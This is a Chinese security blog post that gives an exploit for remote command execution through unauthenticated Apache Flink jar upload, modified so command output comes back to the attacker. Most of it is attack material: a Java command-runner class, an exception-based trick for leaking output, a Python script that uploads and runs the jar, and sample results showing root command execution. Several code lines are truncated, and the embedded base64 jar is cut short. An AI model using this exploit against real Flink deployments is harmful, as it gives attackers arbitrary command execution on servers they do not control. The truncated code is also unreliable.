

flink jar 上传RCE回显

一、前言

flink 未授权上传Jar RCE遇到多次了，每次都以为漏洞不存在，就自己手动编译jar上传执行，没有回显，并且麻烦。用别人的exp也是同样问题，于是进行改造。

<https://github.com/LandGrey/flink-unauth-rce>

```
flink-unauth-rce

exploit flink unauth rce on right way by python2 scripts

snapshot

F:\>flink-unauth-rce.py -u http://10.10.10.62:8081/
[... ] [ http://10.10.10.62:8081/ ] is vulnerable, testing upload jar successfully !

F:\>flink-unauth-rce.py -u http://10.10.10.62:8081/ -c whoami
[... ] [ whoami ] execute success, result:
root

F:\>flink-unauth-rce.py -u http://10.10.10.62:8081/ -c "ls -lat"
[... ] [ ls -lat ] execute success, result:
total 136
drwxr-xr-x 2 502 staff 4096 Nov 12 12:46 .
drwxr-xr-x 9 502 staff 4096 Jun 25 08:00 ..
-rwxr-xr-x 1 502 staff 3434 Jun 24 15:02 sql-client.sh
-rwxr-xr-x 1 502 staff 28869 Jun 24 15:02 config.sh
-rwxr-xr-x 1 502 staff 2224 Jun 24 15:02 flink
-rwxr-xr-x 1 502 staff 1271 Jun 24 15:02 flink.bat
-rwxr-xr-x 1 502 staff 1802 Jun 24 15:02 mesos-appmaster-job.sh
-rwxr-xr-x 1 502 staff 1834 Jun 24 15:02 mesos-appmaster.sh
-rwxr-xr-x 1 502 staff 1888 Jun 24 15:02 mesos-taskmanager.sh
-rwxr-xr-x 1 502 staff 1166 Jun 24 15:02 pyflink.bat
-rwxr-xr-x 1 502 staff 1107 Jun 24 15:02 pyflink.sh
-rwxr-xr-x 1 502 staff 1182 Jun 24 15:02 pyflink-stream.sh
-rwxr-xr-x 1 502 staff 3364 Jun 24 15:02 start-cluster.bat
-rwxr-xr-x 1 502 staff 1674 Jun 24 15:02 yarn-session.sh
-rwxr-xr-x 1 502 staff 3435 Jun 14 12:39 start-scala-shell.sh
-rwxr-xr-x 1 502 staff 2774 Jun 14 12:39 flink-console.sh
-rwxr-xr-x 1 502 staff 6358 Jun 14 12:39 flink-daemon.sh
-rwxr-xr-x 1 502 staff 1564 Jun 14 12:39 historyserver.sh
-rwxr-xr-x 1 502 staff 2891 Jun 14 12:39 jobmanager.sh
-rwxr-xr-x 1 502 staff 2533 Jun 14 12:39 standalone-job.sh
-rwxr-xr-x 1 502 staff 1836 Jun 14 12:39 start-cluster.sh
-rwxr-xr-x 1 502 staff 1854 Jun 14 12:39 start-zookeeper-quorum.sh
-rwxr-xr-x 1 502 staff 1616 Jun 14 12:39 stop-cluster.sh
-rwxr-xr-x 1 502 staff 1845 Jun 14 12:39 stop-zookeeper-quorum.sh
-rwxr-xr-x 1 502 staff 3845 Jun 14 12:39 taskmanager.sh
-rwxr-xr-x 1 502 staff 2281 Jun 14 12:39 zookeeper.sh

F:\>
```

二、如何回显

```
29
30
31 def upload_execute_jar(site, upload_jar_name):
32     upload_jar_url = "{}/jars/upload".format(site)
33     file_content = base64.b64encode('UESDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTU
34     files = ('jarfile', (upload_jar_name, cStringIO.StringIO(file_content), 'application/octet-stream'))
35     try:
36         requests.post(upload_jar_url, headers=default_headers, files=files, timeout=30, verify=False, proxies=proxies)
37     except Exception as e:
38         return False
39     return True
40
41
42 def delete_exists_jar(site, jar_hash_name):
43     single_jar_url = "{}/jars/{}/".format(site, jar_hash_name)
44     try:
45         response = requests.delete(single_jar_url, headers=default_headers, verify=False, timeout=30, proxies=proxies)
```

```
1 echo 'UESDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTU
2 unzip test.jar
3
```

```

public class Execute {
    public Execute() {
    }

    public static void main(String[] args) throws Exception {
        String o = "";
        String cmd = args[0];
        ProcessBuilder p;
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
        } else {
            String pty = "/bin/sh";
            if ((new File(pathname: "/bin/bash")).exists()) {
                pty = "/bin/bash";
            }

            p = new ProcessBuilder(new String[]{pty, "-c", cmd});
        }

        Process s = p.start();
        Scanner c = (new Scanner(s.getInputStream())).useDelimiter(pattern: "\\A");
        o = c.hasNext() ? c.next() : o;
        c.close();
        System.out.print("|@|" + o + "|@|");
    }
}

```

发现正常的System.out.print进行输出，但是目前已经无法输出结果

	Metrics	Configuration	Logs	Stack	Log List	Thread Dump	Profiler
152	2020-06-22 08:42:09.700	2020	org.apache.flink.core.gcp.DefaultPluginManager				[] - Plugin loader with ID found, reusing its metrics-prometheus
153	2020-06-22 08:42:09.700	2020	org.apache.flink.core.gcp.DefaultPluginManager				[] - Plugin loader with ID found, reusing its metrics-v174
154	2020-06-22 08:42:09.700	2020	org.apache.flink.core.gcp.DefaultPluginManager				[] - Plugin loader with ID found, reusing its stream-resourc
155	2020-06-22 08:42:09.700	2020	org.apache.flink.core.gcp.DefaultPluginManager				[] - Plugin loader with ID found, reusing its x3-fs-base
156	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
157	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
158	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
159	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
160	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
161	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
162	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
163	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
164	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
165	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
166	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
167	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
168	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
169	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
170	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
171	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
172	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
173	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
174	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
175	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
176	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
177	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
178	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
179	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized
180	2020-06-22 08:42:09.700	2020	org.apache.flink.runtime.security.token.DefaultDelegationTokenManager				[] - Delegation token provider sh-hadoop loaded and initialized

如果跟进过weblogic 回显连续剧的文章（weblogic_2019_2725poc与回显构造），这里我们是可以通过异常回显，因为这里打印了日志。

```

try {
    System.out.print("|@|" + var1 + "|@|");
    System.out.println(Integer.parseInt(s: "|@|" + var1 + "|@|"));
} catch (Exception var7) {
    throw var7;
}

```

```

[^_^] [ w ] execute success, result:
08:46:06 up 22 days, 23:25, 0 user, load average: 0.01, 0.05, 0.01
USER      TTY      FROM          LOGIN@      IDLE        JCPU      PCPU      WHAT

```

三、exp

```
1 python3 flink-unauth-rce.py -u http://127.0.0.1:8081/ -c "w"
```

```

1  #!/usr/bin/env python
2  # coding:utf-8
3  # Build By LandGrey
4  import io
5  import re
6  import sys
7  import time
8  import json
9  import base64
10 import argparse
11 import traceback
12 import requests
13
14 def check_jar_exsits(site, upload_jar_name):
15     list_jar_url = "{}jars/{}".format(site)
16     response = requests.get(list_jar_url, headers=default_headers, verify=False)
17     if response.status_code == 200 and "application/json" in response.headers:
18         try:
19             r = json.loads(response.text)
20             for upload_file in r['files']:
21                 if str(upload_file['id']).endswith("{}{}".format(upload_jar_name, ".jar")):
22                     return upload_file['id']
23         except Exception as e:
24             return False
25     return False
26
27 def upload_execute_jar(site, upload_jar_name):
28     upload_jar_url = "{}jars/upload{}".format(site)
29     file_content = base64.b64decode('UESDBAoAAAAAMZr01gAAAAAAAAAAAAAAAAAAAAAA')
30     files = {'jarfile': (upload_jar_name, io.BytesIO(file_content), 'application/java-archive')}
31     try:
32         requests.post(upload_jar_url, headers=default_headers, files=files)
33     except Exception as e:
34         return False
35     return True
36
37 def delete_exists_jar(site, jar_hash_name):
38     single_jar_url = "{}jars/{}".format(site, jar_hash_name)
39     try:
40         response = requests.delete(single_jar_url, headers=default_headers)
41         if response.status_code == 200 and "application/json" in response.headers:
42             return True
43     except Exception as e:
44         return False
45     return False
46
47 def verify(site):
48     jar_hash_name = check_jar_exsits(site, upload_jar_name)

```

```

49     if jar_hash_name:
50         delete_exists_jar(site, jar_hash_name)
51         return True
52     else:
53         upload_execute_jar(site, upload_jar_name)
54         jar_hash_name = check_jar_exsits(site, upload_jar_name)
55         delete_exists_jar(site, jar_hash_name)
56         if jar_hash_name:
57             return True
58     return False
59
60 def exec_command(site, command):
61     headers = {
62         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.3
63         'Content-Type': 'application/json;charset=utf-8',
64     }
65     jar_hash_name = check_jar_exsits(site, upload_jar_name)
66     data = r'{"entryClass":"org.example.Main","parallelism":null,"progra
67     if jar_hash_name:
68         execute_cmd_url = '{}{/jars/{}/run?entry-class=org.example.Main&p
69     else:
70         upload_execute_jar(site, upload_jar_name)
71         jar_hash_name = check_jar_exsits(site, upload_jar_name)
72         if jar_hash_name:
73             execute_cmd_url = '{}{/jars/{}/run?entry-class=org.example.Ma
74         else:
75             return False
76     try:
77         r1 = requests.post(execute_cmd_url, headers=headers, data=data,
78         match = re.findall('\|@\\|(.*)\\|@\\|', r1.text)
79         if will_delete_jar:
80             delete_exists_jar(site, jar_hash_name)
81         if match:
82             return match[0][:-2] if match[0][:-2] else "[result is blank
83     except requests.exceptions.ReadTimeout as e:
84         return "[execute timeout]"
85     return False
86
87 if __name__ == "__main__":
88     start = time.time()
89     parser = argparse.ArgumentParser()
90     parser.add_argument("-u", dest='url', default="http://127.0.0.1:8081
91     parser.add_argument('-c', dest='command', default='', type=str, help
92     parser.add_argument('--delete', dest='delete', default='', action="s
93     parser.add_argument('--proxy', dest='proxy', default=None, type=str,
94     if len(sys.argv) == 1:
95         sys.argv.append('-h')
96     args = parser.parse_args()
97     url = args.url
98     command = args.command

```

```

99     proxy = args.proxy
100     will_delete_jar = args.delete
101     target = url.rstrip('/')
102     upload_jar_name = 'check-execute.jar'
103     proxies = {'http': proxy, 'https': proxy}
104     default_headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) Ap
105     if "://" not in target:
106         target = "http://" + target
107     try:
108         if command:
109             r = exec_command(target, command)
110             if r:
111                 print("[^_^] [ {} ] execute success, result:\n{}".format
112             else:
113                 print("[>_<] [ {} ] is not vulnerable".format(url))
114         else:
115             r = verify(target)
116             if r:
117                 print("[^_^] [ {} ] is vulnerable, testing upload jar su
118             else:
119                 print("[>_<] [ {} ] is not vulnerable".format(url))
120     except Exception as e:
121         print("[>_<] cannot rce!")
122         print("[>_<] Error: \n")
123         traceback.print_exc()
124

```

```

[^_^] [ w ] execute success, result:
08:46:06 up 22 days, 23:25,  0 user,  load average: 0.01, 0.05, 0.01
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT

```

四、总结

这么久居然没人更新这个EXP，看得出来大家都很懒。